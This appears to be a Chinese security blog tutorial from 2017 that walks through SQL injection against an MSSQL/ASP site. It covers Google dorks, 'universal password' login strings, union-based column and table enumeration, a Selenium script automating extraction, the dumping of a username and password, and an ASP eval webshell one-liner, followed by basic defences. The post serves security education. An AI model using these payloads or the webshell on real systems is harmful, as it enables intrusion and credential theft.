[滲透&攻防] 一.從資料庫原理學習網路攻防及防止SQL隱碼攻擊

Eastmount發表於2017-07-13

這是最近自己學習滲透和網站攻防的文章,希望能深入地學習這部分知識,同時認了Na師傅和Rong師傅,知道了人外有人、天外有天,真的很享受這種探索問題、解決問題和分析知識的過程。希望文章對你有所幫助,尤其是學習網站如何防止SQL隱碼攻擊及資料庫原理的初學者或安全工程師。如果文章中存在錯誤或不足之處,還請海涵~

    一.Google搜尋知識
    二.萬能密碼原理
    三.資料庫解讀SQL隱碼攻擊攻防原理
        1.資料庫如何判斷注入點
        2.資料庫如何判斷欄位總數 order by
        3.資料庫獲取顯示位 union
        4.資料庫顯示錯誤網頁及對應資料 db_name
        5.資料庫獲取表名及列名,Python爬蟲引入
        6.資料庫獲取登入表usr欄位 id=object_id('usr')
        7.資料庫返回使用者名稱和密碼 
        8.登入系統並獲取WebShell
    四.防SQL隱碼攻擊措施及建議


一. Google搜尋知識


Google提供了強大的搜尋功能,可以獲取精準的結果。如果訪問不了,也可以通過百度獲取相關內容,但是結果遠沒有谷歌精準,很多無關的廣告及視訊會返回給你。
方法如下:

intitle:eastmount

搜尋網頁標題包含eastmount字元的網頁。


inurl:cbi
搜尋包含特定字元cbi的URL。

intext:cbi
搜尋網頁正文內容包含特定字元cbi的網頁。

filetype:ppt
搜尋制定型別的檔案,返回所有以ppt結尾的檔案URL。

site
找到與指定網站有聯絡的URL。

常用示例:inurl:login.asp、inurl:asp?id=、inurl:login.asp intilte:貴州




二. 萬能密碼原理

萬能密碼通常是指開發人員在開發過程中使用超級管理員進行開發,開發完成後沒有過濾掉這些常用的超級管理員;另一種是存在SQL漏洞管理員賬號。下面分別進行討論:

1.萬能密碼:使用者名稱 admin、密碼admin,使用者名稱admin、密碼123456

2.萬能密碼:使用者名稱 'or'='or'、密碼 'or'='or'
   原理解釋:假設使用者登入對應的語句為:
   select name, pwd from login where name='' and pwd='';
   如果使用者名稱輸入正確則直接登入,否則提示使用者名稱或密碼錯誤,使用萬能密碼後的SQL語句如下:
   select name, pwd from login where name=''or'='or'' and pwd=''or'='or'';
   核心程式碼,兩個單引號匹配,即name='',然後or連線,單引號等於單引號('=')這是恆成立的,緊接著or連線兩個單引號(''),同理密碼pwd。這樣or連線的('=')是恆成立的,故返回結果為真,導致直接登入。

3.萬能密碼:使用者名稱 'or''='、密碼'or''='
   原理解釋:此時對應的SQL語句如下:
   select name, pwd from login where name=''or''='' and pwd=''or''='';

4.萬能密碼:使用者名稱'or'='--、密碼'or'='--
   原理解釋:此時對應的SQL語句如下:
   select name, pwd from login where name=''or'='--' and pwd=''or'='--';


通過如 inurl:login.asp 等搜尋技術找到一些列網站後臺登入介面後,反覆嘗試這些萬能密碼進行登入。防範措施也比較簡單:

1.開發人員開發完成後,過濾掉admin等常用賬號或修改密碼;
2.當使用者第一次登入的時候,對簡單的密碼進行修改提示,防止暴力破解;
3.使用者名稱或密碼遮蔽掉單引號(')、等號(=)、註釋(--)等特殊字元;
4.對嘗試SQL隱碼攻擊的IP地址進行報警提示或日誌記錄。



三. 資料庫解讀SQL隱碼攻擊攻防原理

下面通過一個簡單的例子從資料庫原理知識解讀SQL隱碼攻擊攻防原理,內容比較簡單,但希望假設存在一個網址能正常顯示內容
http://xxxxx/show.asp?code=115
對應的後臺SQL語句可能如下:
select .... from table where code='115' and xxxx;


1.資料庫如何判斷注入點

判斷注入點的方法很多,比如show.asp?code=115' 加單引號,show.asp?code=115-1 減1,這裡介紹一個經典的方法。
(1) http://xxxxx/show.asp?code=115' and 1=1 --       (正常顯示)
對應的SQL語句:
select .... from table where code='115' and 1=1 -- and xxxx;
單引號(')匹配code='115,然後and連線,1=1恆成立,註釋(--)掉後面語句。

(2) http://xxxxx/show.asp?code=115' and 1=2 --       (錯誤顯示)
對應的SQL語句:
select .... from table where code='115' and 1=2 -- and xxxx;
單引號(')匹配code='115,然後and連線,1=2恆錯誤,註釋(--)掉後面語句。

2.資料庫如何判斷欄位總數 order by

(1) http://xxxxx/show.asp?code=115' order by 1 --    (正常顯示)
對應的SQL語句:
select .... from table where code='115' order by 1 -- and xxxx;
按照1個欄位進行排序,正常顯示錶示該URL對應的SQL語句至少一個欄位。

(2) http://xxxxx/show.asp?code=115' order by 10 --  (正常顯示)
對應的SQL語句:
select .... from table where code='115' order by 10 -- and xxxx;
依次按照欄位增加網上進行排序,如果提示錯誤order by 11,則表示共10個欄位。

(3) http://xxxxx/show.asp?code=115' order by 11 --  (錯誤顯示)
 


3.資料庫獲取顯示位 union

在得到欄位個數後,需要獲取欄位位置,則使用union或union all。其中union表示將兩個select結果整體顯示,併合並相同的結果,union all顯示全部結果。例如:


(1) http://xxxxx/show.asp?code=115' union all select null,...,null --  
正常顯示,共10個null,表示萬用字元,如果9個null會報錯,需對應10個欄位。

(2) http://xxxxx/show.asp?code=115' union all select 1,...,null --  
依次替換成數字,測試哪幾個欄位有結果,如果報錯則替換回null。最終的結果為:
show.asp?code=115' union all select 1,null,3,null,null,6,7,8,9,10 --
對應的SQL語句為:
select .... from table where code='115' union all select 1,null,3,null,null,6,7,8,9,10 -- xxxx;

(3) http://xxxxx/show.asp?code=-1' union all select 1,...,null --  
然後將數字115替換成-1,一個不存在的介面,則會顯示如下所示結果,可以看到附件顯示對應的值7、8、9,再想辦法將我們需要的結果在這裡顯示即可,這些資料都是從後臺資料庫中查詢出來的。


4.資料庫顯示錯誤網頁及對應資料 db_name

該網站使用的資料庫為MSSQL,則一定特定的欄位需要知道:
   host_name():連線資料庫伺服器的計算機名稱
   @@version:獲取資料庫版本號
   db_name():資料庫的庫名稱
   @@servername:當前資料庫計算機的名稱=host_name()

(1) http://xxxxx/show.asp?code=-1' union all
select 1,null,3,null,null,6,host_name(),@@version,db_name(),10 -- 
 
輸出結果如下所示:
    附件1:AYD
    附件2:Microsoft SQL Server....
    附件3:ahykd_new
其中資料庫的名稱就是ahykd_new,接下來相同的道理獲取資料庫所有表及列。

5.資料庫獲取表名及列名,Python爬蟲引入

SQL Server自帶系統物件表,當前資料庫所有欄位。
    sysobjects 表名
    syscolumns 列名
其中,name表示物件名(表名),id表示表編號,type表示物件型別,其值為U表示使用者表,S表示系統表,C約束,PK主鍵等。
sysobjects 和 syscolumns 之間以id互相對應,一個表名在sysobjects得到id後可以在syscolumns找到它的列名。
重點知識:
a.檢視所有表名語句
select name from sysobjects where type='U';
b.詢表table1的所有欄位名稱
select name from syscolumns where id=object_id('table1');

(1) http://xxxxx/show.asp?code=-1' union all 
select 
1,null,3,null,null,6,7,8,
(select top 1 name from sysobjects where type='U'),10 --
輸出結果如下所示: 

    附件1:7
    附件2:8
    附件3:kc_jxjd
其中top 1 name用於輸出1個欄位(相當於MySQL使用limit 1),sysobjects中u為使用者表,count(*)可以統計總共87個表。
問題:現在是獲取1個表,那麼如何獲取其他表呢?

(2) http://xxxxx/show.asp?code=-1' union all 
select 
1,null,3,null,null,6,7,8, (select top 1 name from
(select top 2 name from sysobjects where type='U' order by desc) a
order by 1 asc),10 --

通過子查詢一個升序,一個降序獲取第二個值,同理第三個top 3。
下面通過Python定義一個爬蟲不斷訪問top n,獲取所有的表名,程式碼如下:

# coding=utf-8
from selenium import webdriver             
driver = webdriver.Firefox()    

#查詢表的名字
#(select top 1 name from (select top " + str(i) +" name from sysobjects where xtype='u' order by 1 asc)a order by 1 desc)
i = 1
while i<=87:
    url = "http://...tztgxx.aspx?code=-115' union all select 1,null,1,null,null,6,host_name(),@@servername,(select top 1 name from (select top " + str(i) +" name from sysobjects where xtype='u' order by 1 asc)a order by 1 desc),10 --"
    #print url
    driver.get(url)
    elem = driver.find_element_by_xpath("//form[@name='form1']/div[2]/table/tbody/tr[7]")
    print elem.text
    i = i + 1
分析輸出的所有表名,可以發現usr為後臺登入表。

6.資料庫獲取登入表usr欄位 id=object_id('usr')

(1) http://xxxxx/show.asp?code=-1' union all 
select 
1,null,3,null,null,6,7,8,
(select top 1 name from syscolmns where id=object_id('usr')),10 --

輸出結果如下所示: 
    附件1:7
    附件2:8
    附件3:answer
其中top 1 name用於輸出1個欄位,表usr的一個列表。

(2) 核心SQL語句獲取不同的列名:
(select top 1 name from (select top 3 name from syscolumns where id=object_id('usr') order by asc) a order by 1 desc)
輸出結果如下所示: 
    附件1:7
    附件2:8
    附件3:dic_roll
同理,也可以藉助Python獲取所有欄位,如果欄位少,手工即可測試出來,count(*)返回欄位個數。最後發現,使用者名稱為usr_name,密碼為passwd。

7.資料庫返回使用者名稱和密碼 

(1) http://xxxxx/show.asp?code=-1' union all 
select 
1,null,3,null,null,6,7,8,(select top 1 usr_name from usr),10 --
輸出結果如下所示: 
    附件1:7
    附件2:8
    附件3:2016001
輸出使用者名稱2016001,在搜尋密碼。

(2) http://xxxxx/show.asp?code=-1' union all 
select 
1,null,3,null,null,6,7,8,
(select passwd  from usr where usr_name='2016001'),10 --

輸出結果如下所示: 
    附件1:7
    附件2:8
    附件3:123456
輸出使用者名稱2016001,密碼123456,此時即可登入,通過Python可以獲取所有值。


8.登入系統並獲取WebShell

登入後臺基本完成,下面將講解如何進行SQL防禦。
PS:<%eval request("Nana") %>


四. 防SQL隱碼攻擊措施及建議

上面通過資料庫原理進行了詳細的講解,這種網站基本很少存在了,幾乎為0,更多的網頁都有相關的遮蔽的。比如:
1.在URL設定不允許非法字元,如單引號、等號、註釋--、減號,提示非法引數;

2.在URL設定不允許SQL常見的關鍵詞,如and、select、or、insert等;

3.傳遞的id=115引數必須為數字才能正常跳轉,否則跳轉錯誤,如下圖所示:

4.伺服器啟用SQL隱碼攻擊攔截功能,提示當前網頁的 URL / POST / COOKIES中包含了特定的 SQL字元而被防火牆攔截,因為可能通過POST、Cookies進行攻擊。各方面都需要做到防禦。


5.可以使用Javascript在客戶端進行不安全字元遮蔽,也可以在jsp中呼叫該函式檢查是否包函非法字元,或使用正規表示式過濾傳入的引數,防止SQL從URL注入。


希望文章對你有所幫助,尤其是網路安全的程式設計師,如果文章存在錯誤或不足之處,還請海涵。感謝娜師傅的一路陪伴,學中文的扔掉了手中的尤克里裡,教我寫程式碼也是很瘋狂的啊,哈哈!不忘初心,繼續前行。加油,秀璋。綠妖,晚安!
(By:Eastmount 2017-07-13 晚上12點  http://blog.csdn.net/eastmount/ )

相關文章